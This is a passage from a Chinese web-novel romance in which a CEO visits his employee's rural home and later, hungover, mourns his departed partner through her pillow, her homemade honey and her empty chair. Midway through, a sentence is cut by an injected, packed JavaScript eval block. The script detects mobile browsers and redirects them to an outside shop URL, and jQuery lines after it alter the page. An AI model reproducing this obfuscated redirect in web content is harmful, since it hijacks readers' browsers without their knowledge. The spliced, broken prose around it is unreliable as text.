从超市出来，盛安报了自家地址，薛引鹤一路沉默，将他送回家。
盛安家在京市郊区，他父亲早逝，跟母亲相依为命，工作后就把母亲接到城里，奈何母亲过惯了乡下闲适自由的日子，住进钢筋水泥的“牢笼”里，没几天便受不了了，盛安只好在京郊乡下买了个小院跟母亲一起住下，每日通勤往返就要两三个小时。
车子刚驶入小院门口的小路，一个步履健硕、围着围裙的老太太就迎了出来。
“哎哟，可算回来了！买什么呢磨蹭这……”老太太嗓门洪亮，话说到一半，目光猛地定在驾驶座的薛引鹤身上，眼睛瞬间亮了三个度，“这位是？”
“薛总，那是我母亲……”盛安有些尴尬地向薛引鹤介绍，他母亲一向这样，热情得有些……过分。
他加快速度，拉开车门，拎着超市购物袋下车，“妈，这位是我老板，薛总。”
薛引鹤摇下车窗，并没有要下车的意思，他露出礼貌而温和的微笑，微微颔首，姿态无可挑剔，“阿姨好。”
老太太脸上的皱纹立刻笑成了一朵花，倾身向前仔仔细细将薛引鹤打量一番，半个身子几乎要钻进车窗里，“哎哟，盛安你小子，天天对着那么俊的老板上班，也不早点带回来让我瞧瞧！这长相，这气派！比电视里那些明星强多了！”
她说着，不忘嫌弃地瞥儿子一眼，“不像我们家这个，随他爸，木头疙瘩一个！”
盛安一脸尴尬：“妈！您别瞎说！薛总，您别介意，我妈她……”
薛引鹤保持着礼貌的微笑：“没关系。”
他正准备告辞，老太太却猝不及防地拉开驾驶座车门，“薛总是吧？熄火下车！来了就是客，快进来坐，我正好蒸了桂花米糕，还热乎着！”
她根本不给拒绝的机会，一双炯炯有神的眼睛直盯着薛引鹤熄了火，随即几乎是半拉半请地把薛引鹤拉下车，推进院子里葡萄架下的木桌旁。
“阿姨，真的不打扰了，我……”
“打扰什么？尝尝点心算什么打扰！”老太太打断他，故作不满，“你是不是看不上阿姨的手艺？”
这话直接将了薛引鹤一军，他所有的推辞坐老太太这种“胡搅蛮缠”式的热情面前，全数失效。“我不是这个意思……”
“哎，不是就对了！盛安，你还愣着做什么？赶紧洗菜做饭去，没看见你老板坐这儿吗？一点眼力见都没有！”
老太太指挥完儿子，又变戏法一样地端出一碟晶莹软糯的桂花糕和一壶沏好的茶，热情地推到薛引鹤面前，“薛总，盛安做饭还有一会儿，先垫垫肚子，乡下粗茶淡饭，你别嫌弃！”
盛安任命地进了旁边厨房，开始忙碌起来。
这时，一直黑色的小身影从厨房探出头来，盯着薛引鹤委屈地“喵呜”直叫，薛引鹤不自在地躲闪着它的目光。
老太太应是不知这猫是薛引鹤的，走过去一把抓住小猫脖子后那一撮毛，将它拎进猫笼里，关上门，随即在一边的猫粮袋子里胡乱抓一把扔进猫食盆，“吃吧吃吧，又饿了是吧，就这么些，收收你那挑食的坏毛病！”
她回到院中，坐在薛引鹤正对面，随口吐槽，“盛安朋友托他养的猫，矜贵得很，不许吃剩菜剩饭，只能吃名贵猫粮，我老婆子是真搞不明白，那么宝贝，怎么不自己养着！”
她并未察觉到薛引鹤的不自在，转而笑眯眯地看着他，越看越满意。
“薛总啊，你看你，长这么好，事业又这么大，”她抿了一口茶，话锋一转，“有对象了没？”
薛引鹤端着茶杯的手机不可查地一顿。
老太太也不等他回答，自顾自地说下去，目光还瞟了一眼在厨房切菜的儿子，“要我说啊，找对象图啥呢？不就图个知冷知热！像如今这样，下班了，有人等你回家，一起吃顿热乎饭，聊聊天，比啥都强！”
她指着厨房的方向，“你看看那傻小子，别的本事没有，就这点随我，知道疼人。我一早就教育他，不用担心自己经济条件一般，跟有钱的比那是永远也比不完的，会做饭，可比送什么花啊包啊的实际多了！”
说到兴头，老太太也并不在乎薛引鹤的沉默无言，她起身，到院墙边提溜过来一个酒坛子，豪气地拍开泥封，顿时一股醇厚的米酒香气弥漫开来。
她兴冲冲去厨房拿了两个酒杯，给薛引鹤斟上：“来，尝尝，我亲手酿的，甜着呢！可惜那小子没福气，过敏！”
随后她凑近薛引鹤，压低声音，像分享秘密一样，“过日子啊，说到底就是这油盐酱醋，是晚上亮着的那盏灯。两个人能坐到一张桌子上安心吃顿饭，能聊到一块儿去，这日子啊就有奔头，就叫幸福！你说是不是？”
薛引鹤坐在那里，耳边是老太太质朴却直击要害的话语，鼻尖萦绕着农家米酒的甜香和从厨房里飘来的、越来越浓郁的饭菜香气。
看着盛安在厨房里熟练翻炒的背影，看着小院里朴实无华的一切，他沉默着。
第一次没有去思考商业蓝图和数字报表，而是认真地、困惑地，品味着老太太口中那“油盐酱醋”构成的，他从未真正理解过的，名为“家”的滋味。
那颗冰封的心，仿佛被这平凡的烟火气烫了一下，留下一个清晰的印记。
……
第二天，薛引鹤头痛欲裂地在自己公寓醒来，看一眼时间，已经是早上九点。
他隐约记起是盛安开车送他回的家，他沾上床，倒头就睡。
他缓缓睁开眼，发现自己侧躺着，怀里紧紧搂着一个东西——是那个被他扔进衣帽间角落，她的枕头。
上面似乎还残留着一点她发丝的淡香，但真的，已经很淡了。
他像被烫到一样，猛地松开，将枕头扔到一边。
巨大的羞辱感和空虚感同时袭来。
除了他，没有人知道枕头在哪里，除了他自己，没有人会将它捡回来，他几乎能想象自己睡梦中做了什么。
他引以为傲的自制力，着睡梦中土崩瓦解。
原来身体比理智更诚实，贪恋一切属于她的气息。
他艰难起床，宿醉的钝痛像一把生锈的锯子在头颅里拉扯，他已经好多年没有喝醉过了。
分手之后，即便去萧壑那里，他也没有借酒浇愁，他总是无声看着萧壑牛饮，自己依旧喝茶。
萧壑嘲笑他故作姿态，他淡淡地说没什么可伤心的，只是隋泱年纪小，需要成长。
萧壑却总是醉醺醺地戳穿他的伪装，说他明明难受得要命。
他依旧嘴硬，说当下的不快意只是因为习惯，习惯，不过二十一天，过了就好了，无需用酒精来麻痹自己。
然而多少天过去了？
他无声自嘲，三十九天，她走了整整三十九天了，他却一点儿习惯的迹象都没有。
揉着刺痛的太阳穴，缓慢走进厨房，他拉开冰箱们，指尖越过那排整齐的矿泉水，径直探向最深的角落，触到一个冰凉厚重的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16884567|190923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
玻璃罐。
他把它拿了出来。
澄净琥珀色的蜂蜜在玻璃罐里缓缓流动，里面沉着几片干涸的柠檬和不知名的草叶，瓶身上没有标签，一如她的很多物品一样。
这是隋泱为他特制的解酒蜜。
因为他偶尔不得不应付的应酬，她知晓他挑剔的味蕾受不了解酒药的怪味，于是她查了不少医书，用土蜂蜜、陈皮、枳椇子，加上她亲自晒干的柠檬片，一点点调试，慢火熬制了这罐蜂蜜。
她当时笑着说：“你不常喝，这一罐够用很久了。”
此刻，这预言带着讽刺的意味成真了，她不在了，蜜却还剩大半。
他用银匙挖出一大勺，浓稠的蜜浆拉出绵长的金丝，着温水里旋转着融化，一股混合着药草清甘和柠檬微酸的香气氤氲开来。
他依然记得她熬蜜时专注的侧脸，记得她将第一勺吹凉递到他唇边时那双带着期待亮光的眼睛。
他当时说了什么？
他歪头，皱眉细想。
好像是“味道尚可”，或者干脆只点了点头，他时常这样。
如今温热的蜜水滑过喉咙，竟奇迹般缓解了浑身的灼痛。
甜味着口中蔓延，可从心底生出的苦涩却比宿醉更令人难以承受。
他几乎是逃也似的离开了那杯氤氲着过往甜蜜的蜂蜜水。
他转而扎进健身房，试图用爆裂的汗水和飙升的心率将那份尖锐的悔恨冲刷出去。
可当心跳在胸腔里疯狂擂动时，伴随而来的却是一阵阵莫名的抽痛，他分不清这究竟是生理的极限，还是心脏在发出抗议。
他很快停下来，扶着器械喘息，心里竟有一瞬间在想或许“心脏不适”正是一个十分合理地联系她的理由，当然，他强大的理智瞬间将这可笑的想法按下，挫败感却如影随形，毫无消散的迹象。
从健身房出来，他洗过澡换上舒适的家居休闲服，强迫自己回归一个“正常”的周末流程。
他给自己准备简单的早餐，面包入口却味同嚼蜡，他目光不自觉地落向餐桌对面那个空荡荡的位置，可脑海里却清晰地浮现出她坐在那里时，总是满眼期待地望着他品尝的模样。这一刻，他疯狂想念她亲手做的一切，哪怕只是一碗最简单不过的阳春面。
他走进书房，处理积压的邮件，批复文件，感叹还是只有工作能让人心安，效率出奇地高。
到下午的时候，他从书架上抽出那本看到一半的《人类群星闪耀时》。
这是他以往很享受的独处时光，可今天，书页上的文字变得陌生而枯燥。
他习惯性地想侧头，对那个总是安静坐在窗边看医书对身影说点什么，话未出口，戛然而止。
那个方向只有一把空荡荡的椅子，和空气中飞舞的尘埃。
一切都完美无瑕，却也无比乏味。
他终于意识到，或许，不是她需要成长，而是……
最终，他在空荡的房子里漫无目的地游荡，像一抹找不到依附的孤魂。
脚步有自己的意识，等他回过神来时，已经停在了那扇紧闭的衣帽间门前。
这是专属于她的空间，他已经许久未曾踏足，可心里有个声音却在说：你明明昨晚睡梦中还进去拿过一个枕头。
手刚刚握上黄铜门把手，感受到表面的冰凉，他像被刺到一般猛地松开。
可身体并未回转，就这么站了许久，踟蹰在时间里淹没，他还是抬手拧开了它。